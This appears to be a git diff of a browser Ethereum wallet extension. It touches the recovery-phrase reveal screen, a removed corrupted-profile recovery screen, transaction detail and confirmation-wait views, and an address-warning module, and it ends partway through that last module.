$("show-phrase-password").value = "";
$("show-phrase-result").classList.add("hidden");
$("show-phrase-password-section").classList.remove("hidden");
$("show-phrase-flash").textContent = "";
$("show-phrase-flash").style.visibility = "hidden";
}
function show(walletIdx) {
const wallet = state.wallets[walletIdx];
if (!walletHasRecoveryPhrase(wallet)) {
showFlash("This wallet does not have a recovery phrase.");
return;
}
clear();
walletIndex = walletIdx;
$("show-phrase-wallet-name").textContent =
wallet.name || "Wallet " + (walletIdx + 1);
// Pushed here rather than by the caller: this function can return
// without navigating, and a push that happened anyway would leave an
// entry on the stack that no screen transition matches.
pushCurrentView();
showView(VIEW);
}
async function reveal() {
const password = $("show-phrase-password").value;
if (!password) {
fail("Please enter your password.");
return;
}
if (walletIndex === null) {
fail("No wallet is selected.");
return;
}
const wallet = state.wallets[walletIndex];
if (!walletHasRecoveryPhrase(wallet)) {
fail("This wallet does not have a recovery phrase.");
return;
}
const btn = $("btn-show-phrase-reveal");
btn.disabled = true;
btn.classList.add("text-muted");
const generation = revealGeneration;
try {
const phrase = await decryptWithPassword(
wallet.encryptedSecret,
password,
);
// The only suspension point in this view, and the only place a
// secret is written: if the screen was left while the decrypt ran,
// the wipe has already happened and this write must not land.
if (!isCurrentReveal(generation)) return;
$("show-phrase-password").value = "";
$("show-phrase-password-section").classList.add("hidden");
$("show-phrase-value").textContent = phrase;
$("show-phrase-result").classList.remove("hidden");
$("show-phrase-flash").textContent = "";
$("show-phrase-flash").style.visibility = "hidden";
} catch {
if (!isCurrentReveal(generation)) return;
// Deliberately not the caught error: the message is fixed so that
// nothing derived from the ciphertext or the attempt can surface.
fail("That password is incorrect. Please try again.");
} finally {
btn.disabled = false;
btn.classList.remove("text-muted");
}
}
function init() {
onViewLeave(VIEW, clear);
$("btn-show-phrase-back").addEventListener("click", () => {
goBack();
});
$("btn-show-phrase-reveal").addEventListener("click", reveal);
$("show-phrase-value").addEventListener("click", () => {
const phrase = $("show-phrase-value").textContent;
if (!phrase) return;
navigator.clipboard.writeText(phrase);
showFlash("Copied!");
flashCopyFeedback($("show-phrase-value"));
});
}
module.exports = { init, show };

View File

@@ -1,197 +0,0 @@
// The screen the popup shows when it cannot read the stored profile.
//
// Everything else in the popup assumes a loaded profile: showView() reads and
// writes the state singleton, every view renders from it, and the Settings
// gear leads to a screen that does both. None of that is available here — by
// the time this runs, loadState() has REFUSED, deliberately, and reading the
// singleton throws (https://git.eeqj.de/sneak/AutistMask/issues/311).
//
// So this module talks to the DOM directly and touches no state at all. It is
// the one screen that must work when nothing else can, which is also why it
// takes no ctx and needs no init(): whatever the rest of the popup did or did
// not manage to wire up, this shows.
//
// Two controls, and both are required. An export with no reset leaves the user
// looking at their broken profile with no way to use the wallet again; a reset
// with no export destroys the only copy of a record that may hold key material
// a later build could read. So the export is offered first, in the page where
// it cannot fail, and the reset is behind a typed confirmation.
// $ and VIEWS only: nothing else in helpers is safe here, since showView() and
// everything under it read the state singleton. $ is taken from there rather
// than written again locally so that tests/popupElementIds.test.js sees these
// lookups and holds every id below against the markup.
const { $, VIEWS } = require("./helpers");
const { storageGet, storageRemove } = require("../../shared/browserApi");
const { log } = require("../../shared/log");
// Typed in full before anything is erased, in the same spirit as the wallet
// name on DeleteWalletLostPassword: this button destroys key material and
// there is no password in front of it, because there is no profile to check a
// password against. Compared case-insensitively — the phrase is the barrier,
// not the shift key.
const RESET_PHRASE = "ERASE MY WALLET";
let wired = false;
function setFlash(message) {
const node = $("state-recovery-flash");
node.textContent = message;
node.style.visibility = message ? "visible" : "hidden";
}
// The stored record exactly as storage hands it back, however malformed, with
// no normalization, no defaulting and no repair on it: this is evidence, and
// the point of the export is that a later build (or a human) sees what is
// actually there. It is not the raw bytes — storage deserializes, and
// exportRecord() re-serializes with JSON.stringify — so a value JSON cannot
// represent is the one thing that does not survive the trip. See there.
async function rawRecord() {
const result = await storageGet("autistmask");
return result.autistmask;
}
// Best effort, and never the only route. A download from an extension popup
// depends on the browser, the popup staying open long enough, and the
// extension's content security policy; the textarea below depends on none of
// those, and is filled first.
function offerDownload(text) {
try {
if (
typeof Blob !== "function" ||
typeof URL === "undefined" ||
typeof URL.createObjectURL !== "function"
) {
return false;
}
const url = URL.createObjectURL(
new Blob([text], { type: "application/json" }),
);
const link = document.createElement("a");
link.href = url;
link.download = "autistmask-saved-data.json";
link.click();
// Revoked in a later task, not in this one: the download is started
// from the click and revoking the URL in the same turn can cancel it
// before it has been read. If the popup closes first the URL dies with
// the document anyway.
if (typeof URL.revokeObjectURL === "function") {
setTimeout(() => URL.revokeObjectURL(url), 0);
}
return true;
} catch (e) {
log.errorf("state recovery: download failed:", e);
return false;
}
}
// Residual, stated rather than left to be discovered: structured-clone storage
// holds values JSON does not have, and no build here writes one, but the export
// is a funds-recovery path and what it cannot carry has to be written down.
//
// Loud: JSON.stringify THROWS on a reference cycle or a BigInt. That lands in
// the catch below, so the export fails entirely and erase is the only control
// left on the screen.
//
// Silent, and the worse of the two, because the box then looks complete:
// a Date becomes its ISO string, a Map or a Set becomes {}, a property whose
// value is undefined is dropped from the output entirely, and NaN and
// ±Infinity become null. Nothing here can serialize any of it faithfully;
// recovering such a record needs the browser's own storage inspector.
async function exportRecord() {
let text;
try {
const record = await rawRecord();
text = JSON.stringify(record === undefined ? null : record, null, 2);
} catch (e) {
log.errorf("state recovery: export failed:", e);
setFlash(
"The saved data could not be read out of storage. Nothing has" +
" been changed.",
);
return;
}
// JSON.stringify answers undefined for a value it cannot represent, and
// an empty box would read as "there was nothing there".
if (typeof text !== "string") text = String(text);
const box = $("state-recovery-blob");
box.value = text;
box.classList.remove("hidden");
const downloaded = offerDownload(text);
setFlash(
downloaded
? "Saved data downloaded, and shown below. Keep a copy before" +
" erasing anything."
: "Saved data shown below. Copy it and keep it before erasing" +
" anything.",
);
}
async function resetProfile() {
const typed = $("state-recovery-reset-input").value || "";
if (typed.trim().toUpperCase() !== RESET_PHRASE) {
setFlash("Type " + RESET_PHRASE + " to confirm. Nothing was erased.");
return;
}
try {
await storageRemove("autistmask");
} catch (e) {
log.errorf("state recovery: reset failed:", e);
setFlash("The saved data could not be erased. Nothing was changed.");
return;
}
setFlash("Saved data erased. AutistMask is starting fresh.");
// Back to a first run, which is what the wallet now is. A popup that
// cannot reload says so rather than sitting on a screen describing a
// profile that no longer exists.
if (
typeof window !== "undefined" &&
window.location &&
typeof window.location.reload === "function"
) {
window.location.reload();
return;
}
setFlash("Saved data erased. Close and reopen AutistMask.");
}
function wire() {
if (wired) return;
wired = true;
$("btn-state-recovery-export").addEventListener("click", exportRecord);
$("btn-state-recovery-reset").addEventListener("click", resetProfile);
}
/**
* Show the recovery screen, naming `problem`.
*
* @param {Error|string} problem the StateUnusableError from the read that
* refused, or its sentence.
*/
function show(problem) {
const sentence =
(problem && (problem.problem || problem.message)) || String(problem);
// Not showView(): that reads and writes the singleton this screen exists
// because nothing could load.
for (const view of VIEWS) {
const node = document.getElementById("view-" + view);
if (node) node.classList.add("hidden");
}
// The one global control, and it leads to a screen that renders from the
// profile. There is nowhere to go from here but out.
const gear = $("btn-settings");
if (gear) gear.classList.add("hidden");
$("state-recovery-problem").textContent = sentence;
$("state-recovery-blob").value = "";
$("state-recovery-blob").classList.add("hidden");
$("state-recovery-reset-input").value = "";
setFlash("");
wire();
$("view-state-recovery").classList.remove("hidden");
log.errorf("state is unusable, showing the recovery screen:", sentence);
}
module.exports = { show, RESET_PHRASE };

View File

@@ -5,60 +5,76 @@ const {
$,
showView,
showFlash,
flashCopyFeedback,
addressTitle,
addressDotHtml,
addressTitle,
escapeHtml,
isoDate,
timeAgo,
renderAddressHtml,
attachCopyHandlers,
copyableHtml,
etherscanLinkHtml,
explorerUrl,
displaySymbol,
goBack,
} = require("./helpers");
const { state } = require("../../shared/state");
const { formatEther, formatUnits } = require("ethers");
const makeBlockie = require("ethereum-blockies-base64");
const { log, debugFetch } = require("../../shared/log");
const { decodeCalldata } = require("./approval");
/**
* Determine a human-readable transaction type string from tx fields.
*/
function getTransactionType(tx) {
if (!tx.to) return "Contract Creation";
if (tx.direction === "contract") {
if (tx.directionLabel === "Swap") return "Swap";
if (
tx.method === "approve" ||
tx.directionLabel === "Approve" ||
tx.method === "setApprovalForAll"
)
return "Token Approval";
return "Contract Call";
}
if (tx.symbol && tx.symbol !== "ETH") return "ERC-20 Token Transfer";
return "Native ETH Transfer";
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
let ctx;
function copyableHtml(text, extraClass) {
const cls =
"underline decoration-dashed cursor-pointer" +
(extraClass ? " " + extraClass : "");
return `<span class="${cls}" data-copy="${escapeHtml(text)}">${escapeHtml(text)}</span>`;
}
function blockieHtml(address) {
const src = makeBlockie(address);
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
}
function etherscanLinkHtml(url) {
return (
`<a href="${url}" target="_blank" rel="noopener" ` +
`class="inline-flex items-center"` +
`>${EXT_ICON}</a>`
);
}
function txAddressHtml(address, ensName, title) {
const blockie = blockieHtml(address);
return (
`<div class="mb-1">${blockie}</div>` +
renderAddressHtml(address, { title, ensName })
);
const dot = addressDotHtml(address);
const link = `https://etherscan.io/address/${address}`;
const extLink = etherscanLinkHtml(link);
let html = `<div class="mb-1">${blockie}</div>`;
if (title) {
html += `<div class="font-bold">${escapeHtml(title)}</div>`;
}
if (ensName) {
html +=
`<div class="flex items-center">${dot}` +
copyableHtml(ensName, "") +
`</div>` +
`<div class="flex items-center">${dot}` +
copyableHtml(address, "break-all") +
extLink +
`</div>`;
} else {
html +=
`<div class="flex items-center">${dot}` +
copyableHtml(address, "break-all") +
extLink +
`</div>`;
}
return html;
}
function txHashHtml(hash) {
const link = explorerUrl("tx", hash);
const link = `https://etherscan.io/tx/${hash}`;
const extLink = etherscanLinkHtml(link);
return copyableHtml(hash, "break-all") + extLink;
}
@@ -82,7 +98,6 @@ function show(tx) {
direction: tx.direction || null,
isContractCall: tx.isContractCall || false,
method: tx.method || null,
contractAddress: tx.contractAddress || null,
},
};
render();
@@ -103,10 +118,9 @@ function render() {
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
// Exact amount (full precision, copyable)
const detailSym = displaySymbol(tx.symbol);
const exactStr = tx.exactValue
? tx.exactValue + " " + detailSym
: tx.directionLabel + " " + detailSym;
? tx.exactValue + " " + tx.symbol
: tx.directionLabel + " " + tx.symbol;
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
// Native quantity (raw integer, copyable)
@@ -120,162 +134,47 @@ function render() {
nativeEl.parentElement.classList.add("hidden");
}
// Always show transaction type as the first field
// Show type label for contract interactions (Swap, Execute, etc.)
const typeSection = $("tx-detail-type-section");
const typeEl = $("tx-detail-type");
const headingEl = $("tx-detail-heading");
if (typeSection && typeEl) {
typeEl.textContent = getTransactionType(tx);
if (tx.direction === "contract" && tx.directionLabel) {
if (typeSection) {
typeEl.textContent = tx.directionLabel;
typeSection.classList.remove("hidden");
}
} else {
if (typeSection) typeSection.classList.add("hidden");
}
if (headingEl) headingEl.textContent = "Transaction";
// Token contract address (for ERC-20 transfers)
const tokenContractSection = $("tx-detail-token-contract-section");
const tokenContractEl = $("tx-detail-token-contract");
if (tokenContractSection && tokenContractEl) {
if (tx.contractAddress) {
const dot = addressDotHtml(tx.contractAddress);
const link = explorerUrl("token", tx.contractAddress);
tokenContractEl.innerHTML =
`<div class="flex items-center">${dot}` +
copyableHtml(tx.contractAddress, "break-all") +
etherscanLinkHtml(link) +
`</div>`;
tokenContractSection.classList.remove("hidden");
} else {
tokenContractSection.classList.add("hidden");
}
}
// Hide calldata and raw data sections; always fetch full tx details
// Hide calldata and raw data sections; re-fetch if this is a contract call
const calldataSection = $("tx-detail-calldata-section");
if (calldataSection) calldataSection.classList.add("hidden");
const rawDataSection = $("tx-detail-rawdata-section");
if (rawDataSection) rawDataSection.classList.add("hidden");
// Hide on-chain detail sections until populated
for (const id of [
"tx-detail-block-section",
"tx-detail-nonce-section",
"tx-detail-fee-section",
"tx-detail-gasprice-section",
"tx-detail-gasused-section",
"tx-detail-network-section",
]) {
const el = $(id);
if (el) el.classList.add("hidden");
if (tx.isContractCall || tx.direction === "contract") {
loadCalldata(tx.hash, tx.to);
}
loadFullTxDetails(tx.hash, tx.to);
const isoStr = isoDate(tx.timestamp);
$("tx-detail-time").innerHTML =
copyableHtml(isoStr) + " (" + escapeHtml(timeAgo(tx.timestamp)) + ")";
$("tx-detail-time").textContent =
isoDate(tx.timestamp) + " (" + timeAgo(tx.timestamp) + ")";
$("tx-detail-status").textContent = tx.isError ? "Failed" : "Success";
showView("transaction");
attachCopyHandlers("view-transaction");
}
function showDetailField(sectionId, contentId, value) {
const section = $(sectionId);
const el = $(contentId);
if (!section || !el) return;
el.innerHTML = copyableHtml(value, "");
section.classList.remove("hidden");
}
function populateOnChainDetails(txData) {
// Block number
if (txData.block_number != null) {
const blockLink = explorerUrl("block", String(txData.block_number));
const blockSection = $("tx-detail-block-section");
const blockEl = $("tx-detail-block");
if (blockSection && blockEl) {
blockEl.innerHTML =
copyableHtml(String(txData.block_number), "") +
etherscanLinkHtml(blockLink);
blockSection.classList.remove("hidden");
}
}
// Nonce
if (txData.nonce != null) {
showDetailField(
"tx-detail-nonce-section",
"tx-detail-nonce",
String(txData.nonce),
);
}
// Transaction fee
const feeWei = txData.fee?.value || txData.tx_fee;
if (feeWei) {
const feeEth = formatEther(String(feeWei));
showDetailField(
"tx-detail-fee-section",
"tx-detail-fee",
feeEth + " ETH",
);
}
// Gas price
const gasPrice = txData.gas_price;
if (gasPrice) {
const gwei = formatUnits(String(gasPrice), "gwei");
showDetailField(
"tx-detail-gasprice-section",
"tx-detail-gasprice",
gwei + " Gwei",
);
}
// Gas used
const gasUsed = txData.gas_used;
if (gasUsed) {
showDetailField(
"tx-detail-gasused-section",
"tx-detail-gasused",
String(gasUsed),
);
}
// Show the network details wrapper if any child section is visible
const networkWrapper = $("tx-detail-network-section");
if (networkWrapper) {
const hasVisible = [
"tx-detail-nonce-section",
"tx-detail-fee-section",
"tx-detail-gasprice-section",
"tx-detail-gasused-section",
].some((id) => {
const el = $(id);
return el && !el.classList.contains("hidden");
});
if (hasVisible) networkWrapper.classList.remove("hidden");
}
// Bind copy handlers for newly added elements
for (const id of [
"tx-detail-block-section",
"tx-detail-nonce-section",
"tx-detail-fee-section",
"tx-detail-gasprice-section",
"tx-detail-gasused-section",
]) {
const section = $(id);
if (!section) continue;
section.querySelectorAll("[data-copy]").forEach((el) => {
document
.getElementById("view-transaction")
.querySelectorAll("[data-copy]")
.forEach((el) => {
el.onclick = () => {
navigator.clipboard.writeText(el.dataset.copy);
showFlash("Copied!");
flashCopyFeedback(el);
};
});
}
}
async function loadFullTxDetails(txHash, toAddress) {
async function loadCalldata(txHash, toAddress) {
const section = $("tx-detail-calldata-section");
const actionEl = $("tx-detail-calldata-action");
const detailsEl = $("tx-detail-calldata-details");
@@ -290,10 +189,6 @@ async function loadFullTxDetails(txHash, toAddress) {
);
if (!resp.ok) return;
const txData = await resp.json();
// Populate on-chain detail fields (block, nonce, gas, fee)
populateOnChainDetails(txData);
const inputData = txData.raw_input || txData.input || null;
if (!inputData || inputData === "0x") return;
@@ -309,14 +204,19 @@ async function loadFullTxDetails(txHash, toAddress) {
detailsHtml += `<div class="mb-2">`;
detailsHtml += `<div class="text-muted">${escapeHtml(d.label)}</div>`;
if (d.address && d.isToken) {
// Token entry: show symbol on its own line, then address via shared renderer
// Token entry: show symbol on its own line, then dot + address + Etherscan link
const dot = addressDotHtml(d.address);
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
if (tokenSymbol) {
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
}
detailsHtml += renderAddressHtml(d.address);
const etherscanUrl = `https://etherscan.io/token/${d.address}`;
detailsHtml += `<div class="flex items-center">${dot}${copyableHtml(d.address, "break-all")}${etherscanLinkHtml(etherscanUrl)}</div>`;
} else if (d.address) {
detailsHtml += renderAddressHtml(d.address);
// Protocol/contract entry: show name + Etherscan link
const dot = addressDotHtml(d.address);
const etherscanUrl = `https://etherscan.io/address/${d.address}`;
detailsHtml += `<div class="flex items-center">${dot}${copyableHtml(d.value, "break-all")}${etherscanLinkHtml(etherscanUrl)}</div>`;
} else {
detailsHtml += `<div class="font-bold">${escapeHtml(d.value)}</div>`;
}
@@ -343,18 +243,26 @@ async function loadFullTxDetails(txHash, toAddress) {
// Bind copy handlers for new elements (including raw data now outside section)
const copyTargets = [section, rawSection].filter(Boolean);
for (const container of copyTargets) {
attachCopyHandlers(container);
container.querySelectorAll("[data-copy]").forEach((el) => {
el.onclick = () => {
navigator.clipboard.writeText(el.dataset.copy);
showFlash("Copied!");
};
});
}
} catch (e) {
log.errorf("loadCalldata failed:", e.message);
}
}
// The ctx this view is initialized with is unused: this module is the leaf of
// the navigation, and the other views reach it through their own ctx.
function init(_ctx) {
ctx = _ctx;
$("btn-tx-back").addEventListener("click", () => {
goBack();
if (state.selectedToken) {
ctx.showAddressToken();
} else {
ctx.showAddressDetail();
}
});
}

View File

@@ -3,51 +3,28 @@
const {
$,
showView,
showFlash,
addressDotHtml,
addressTitle,
escapeHtml,
renderAddressHtml,
attachCopyHandlers,
copyableHtml,
etherscanLinkHtml,
explorerUrl,
displaySymbol,
clearViewStack,
} = require("./helpers");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const { state } = require("../../shared/state");
const { state, saveState } = require("../../shared/state");
const { getProvider } = require("../../shared/balances");
const { log } = require("../../shared/log");
// Receipt poll cadence and the deadline after which the wait is reported as
// a timeout. Both are documented in the WaitTx section of README.md.
const POLL_INTERVAL_MS = 10000;
const TIMEOUT_MS = 60000;
// How many receipt lookups may fail in a row before the wait is ended and
// the failure reported. A lookup that throws says nothing about the
// transaction, so one must not end the wait — but an RPC that never answers
// (a mistyped URL in settings is the ordinary case) must not leave the wait
// running forever either, least of all a persisted one that every popup
// open would resume. Six is 60 seconds at the poll cadence: the same
// patience the confirmation deadline gets. Any lookup that answers, with a
// receipt or with null, resets the count.
const MAX_CONSECUTIVE_LOOKUP_FAILURES = 6;
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
let ctx;
let elapsedTimer = null;
let pollTimer = null;
// Identifies the wait currently on screen. Bumped by endWait(), so a timer
// callback or an in-flight receipt lookup that outlives its wait can tell
// that it is stale and leave the current view alone. Without it, a receipt
// resolving after the wait has ended renders over whatever view replaced it.
let waitId = 0;
// End the wait on screen: stop its timers and invalidate its pending async
// work. Called on receipt, on timeout, when a new wait starts, and when the
// user navigates away.
function endWait() {
waitId++;
function clearTimers() {
if (elapsedTimer) {
clearInterval(elapsedTimer);
elapsedTimer = null;
@@ -59,167 +36,86 @@ function endWait() {
}
function toAddressHtml(address) {
const dot = addressDotHtml(address);
const link = `https://etherscan.io/address/${address}`;
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
const title = addressTitle(address, state.wallets);
return renderAddressHtml(address, { title });
if (title) {
return (
`<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>` +
`<div class="break-all">${escapeHtml(address)}${extLink}</div>`
);
}
return `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(address)}</span>${extLink}</div>`;
}
function txHashHtml(hash) {
const link = explorerUrl("tx", hash);
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
const link = `https://etherscan.io/tx/${hash}`;
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
return (
`<span class="underline decoration-dashed cursor-pointer break-all" data-copy="${escapeHtml(hash)}">${escapeHtml(hash)}</span>` +
extLink
);
}
function blockNumberHtml(blockNumber) {
const num = String(blockNumber);
const link = explorerUrl("block", num);
return copyableHtml(num) + etherscanLinkHtml(link);
function attachCopyHandlers(viewId) {
document
.getElementById(viewId)
.querySelectorAll("[data-copy]")
.forEach((el) => {
el.onclick = () => {
navigator.clipboard.writeText(el.dataset.copy);
showFlash("Copied!");
};
});
}
// Render the wait view and start polling for the receipt. broadcastTime is
// when the transaction was broadcast, which is what the elapsed counter and
// the timeout deadline are both measured from; pollNow runs one lookup
// immediately instead of waiting a full poll interval.
function startWait(txInfo, txHash, broadcastTime, pollNow) {
endWait();
const id = waitId;
function showWait(txInfo, txHash) {
clearTimers();
const symbol =
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
$("wait-tx-hash").innerHTML = txHashHtml(txHash);
attachCopyHandlers("view-wait-tx");
// Persisted so closing and reopening the popup resumes this wait
// instead of silently abandoning it.
state.viewData = {
pendingWait: {
txInfo: txInfo,
hash: txHash,
broadcastTime: broadcastTime,
},
};
const broadcastTime = Date.now();
$("wait-tx-status").textContent = "Waiting for confirmation... 0s";
function renderElapsed() {
elapsedTimer = setInterval(() => {
const elapsed = Math.floor((Date.now() - broadcastTime) / 1000);
$("wait-tx-status").textContent =
"Waiting for confirmation... " + elapsed + "s";
}
renderElapsed();
elapsedTimer = setInterval(() => {
if (id !== waitId) return;
renderElapsed();
}, 1000);
const provider = getProvider(state.rpcUrl, state.networkId);
let consecutiveFailures = 0;
async function poll() {
if (id !== waitId) return;
let receipt = null;
let answered = true;
const provider = getProvider(state.rpcUrl);
pollTimer = setInterval(async () => {
try {
receipt = await provider.getTransactionReceipt(txHash);
} catch (e) {
// A thrown lookup means "no answer this tick", not "no
// receipt": the RPC failed, the chain said nothing. Declaring
// the timeout off it would report a confirmed transaction as
// failed — which matters most on a resumed wait, where the
// first poll is already past the deadline.
answered = false;
log.errorf("poll receipt failed:", e.message);
}
// The lookup is async: the wait may have ended while it was in
// flight, in which case this result must not touch the view.
if (id !== waitId) return;
// Exactly one outcome per wait. A receipt wins even on the tick
// that crosses the deadline, because the transaction did confirm.
const receipt = await provider.getTransactionReceipt(txHash);
if (receipt) {
showSuccess(txInfo, txHash, receipt.blockNumber);
return;
}
if (!answered) {
consecutiveFailures++;
// The failure is the user's news, and it is a different fact
// from "the transaction did not confirm" — the chain was never
// asked. Ending the wait here is what keeps it bounded and
// gives the user a Done button to leave by.
if (consecutiveFailures >= MAX_CONSECUTIVE_LOOKUP_FAILURES) {
showError(
txInfo,
txHash,
"The network could not be reached to check this transaction — " +
MAX_CONSECUTIVE_LOOKUP_FAILURES +
" lookups failed in a row. Check the RPC URL in Settings. The transaction may still have confirmed — check Etherscan.",
);
} catch (e) {
log.errorf("poll receipt failed:", e.message);
}
// Otherwise keep polling: the next tick may answer.
return;
}
consecutiveFailures = 0;
if (Date.now() - broadcastTime >= TIMEOUT_MS) {
const elapsed = Math.floor((Date.now() - broadcastTime) / 1000);
if (elapsed >= 60) {
showError(
txInfo,
txHash,
"Transaction was not confirmed within 60 seconds. It may still confirm later \u2014 check Etherscan.",
);
}
}
pollTimer = setInterval(poll, POLL_INTERVAL_MS);
}, 10000);
showView("wait-tx");
if (pollNow) poll();
}
function showWait(txInfo, txHash) {
startWait(txInfo, txHash, Date.now(), false);
}
// Resume a wait persisted by a previous popup session. The deadline still
// runs from the original broadcast, so a wait that has already outlived it
// resolves on the immediate first poll rather than restarting the clock.
// Returns false when there is nothing resumable to resume. Every field
// startWait() goes on to use is validated, not just the presence of the
// containers: txInfo.to reaches addressTitle(), which calls
// address.toLowerCase(), and txInfo.amount is rendered into the summary, so
// an object merely missing one of them throws a TypeError out of
// restoreView() — which init() does not guard, skipping the rest of popup
// init and leaving wait-tx on screen with no back control. A non-numeric
// broadcastTime leaves an unexitable wait counting "NaNs". txInfo.token and
// txInfo.tokenSymbol are deliberately unchecked: they are compared and
// coalesced rather than dereferenced, and tokenSymbol is null for ETH.
function restoreWait() {
const d = state.viewData;
if (!d || !d.pendingWait) return false;
const w = d.pendingWait;
if (!w.hash) return false;
// typeof [] is "object", so an array passes an object check.
const info = w.txInfo;
if (!info || typeof info !== "object" || Array.isArray(info)) return false;
// A string is the whole requirement: the empty string is what a
// contract-deployment approval persists (approval.js writes `to: toAddr
// || ""`), and both fields render harmlessly when empty, so refusing it
// would abandon a wait the live path itself created.
if (typeof info.to !== "string") return false;
if (typeof info.amount !== "string") return false;
if (typeof w.broadcastTime !== "number" || !isFinite(w.broadcastTime)) {
return false;
}
startWait(w.txInfo, w.hash, w.broadcastTime, true);
return true;
}
function showSuccess(txInfo, txHash, blockNumber) {
endWait();
clearTimers();
const symbol =
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
state.viewData = {
amount: txInfo.amount,
symbol: symbol,
@@ -237,9 +133,13 @@ function tokenLabel(address) {
return t ? t.symbol : null;
}
function etherscanTokenLink(address) {
return `https://etherscan.io/token/${address}`;
}
function decodedDetailsHtml(decoded) {
if (!decoded || !decoded.details) return "";
let html = `<div class="border border-border border-dashed p-2 mb-3">`;
let html = "";
if (decoded.name) {
html += `<div class="mb-2"><div class="text-xs text-muted mb-1">Action</div>`;
html += `<div class="font-bold">${escapeHtml(decoded.name)}</div></div>`;
@@ -264,36 +164,20 @@ function decodedDetailsHtml(decoded) {
}
html += `</div>`;
}
html += `</div>`;
return html;
}
function renderSuccess() {
const d = state.viewData;
if (!d || !d.hash) return;
const hasDecoded = d.decoded && d.decoded.details;
// When decoded details are present, the Amount and To are already
// shown inside the decoded well — hide the top-level duplicates.
const summarySection = $("success-tx-summary").parentElement;
const toSection = $("success-tx-to").parentElement;
if (hasDecoded) {
summarySection.classList.add("hidden");
toSection.classList.add("hidden");
} else {
summarySection.classList.remove("hidden");
toSection.classList.remove("hidden");
$("success-tx-summary").textContent = d.amount + " " + d.symbol;
$("success-tx-to").innerHTML = toAddressHtml(d.to);
}
$("success-tx-block").innerHTML = blockNumberHtml(d.blockNumber);
$("success-tx-block").textContent = String(d.blockNumber);
$("success-tx-hash").innerHTML = txHashHtml(d.hash);
// Show decoded calldata details if present
const decodedEl = $("success-tx-decoded");
if (decodedEl && hasDecoded) {
if (decodedEl && d.decoded) {
decodedEl.innerHTML = decodedDetailsHtml(d.decoded);
decodedEl.classList.remove("hidden");
} else if (decodedEl) {
@@ -305,12 +189,9 @@ function renderSuccess() {
}
function showError(txInfo, txHash, message) {
endWait();
clearTimers();
const symbol =
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
state.viewData = {
amount: txInfo.amount,
symbol: symbol,
@@ -344,23 +225,14 @@ function isApprovalPopup() {
}
function navigateBack() {
// Nothing should still be polling by now, but leaving a view is the
// point at which its timers must be gone.
endWait();
if (isApprovalPopup()) {
window.close();
return;
}
// After a completed transaction, reset the navigation stack
// and go directly to the address view (token or detail).
// Use require() lazily to call show() without the ctx push wrapper.
clearViewStack();
state.viewStack.push("main");
if (state.selectedToken) {
state.viewStack.push("address");
require("./addressToken").show();
ctx.showAddressToken();
} else {
require("./addressDetail").show();
ctx.showAddressDetail();
}
}
@@ -371,12 +243,4 @@ function init(_ctx) {
$("btn-error-tx-done").addEventListener("click", navigateBack);
}
module.exports = {
init,
showWait,
restoreWait,
endWait,
showError,
renderSuccess,
renderError,
};
module.exports = { init, showWait, showError, renderSuccess, renderError };

View File

@@ -1,114 +0,0 @@
// Address warning module.
// Provides local and async (RPC-based) warning checks for Ethereum addresses.
// Returns arrays of {type, message, severity} objects.
const { isScamAddress } = require("./scamlist");
const { isBurnAddress } = require("./constants");
const { checkEtherscanLabel } = require("./etherscanLabels");
const { log } = require("./log");
/**
* Check an address against local-only lists (scam, burn, self-send).
* Synchronous — no network calls.
*
* @param {string} address - The target address to check.
* @param {object} [options] - Optional context.
* @param {string} [options.fromAddress] - Sender address (for self-send check).
* @returns {Array<{type: string, message: string, severity: string}>}
*/
function getLocalWarnings(address, options = {}) {
const warnings = [];
const addr = address.toLowerCase();
if (isScamAddress(addr)) {
warnings.push({
type: "scam",
message:
"This address is on a known scam/fraud list. Do not send funds to this address.",
severity: "critical",
});
}
if (isBurnAddress(addr)) {
warnings.push({
type: "burn",
message:
"This is a known null/burn address. Funds sent here are permanently destroyed and cannot be recovered.",
severity: "critical",
});
}
if (options.fromAddress && addr === options.fromAddress.toLowerCase()) {
warnings.push({
type: "self-send",
message: "You are sending to your own address.",
severity: "warning",
});
}
return warnings;
}
/**
* Check an address against local lists AND via RPC queries.
* Async — performs network calls to check contract status and tx history.
*
* @param {string} address - The target address to check.
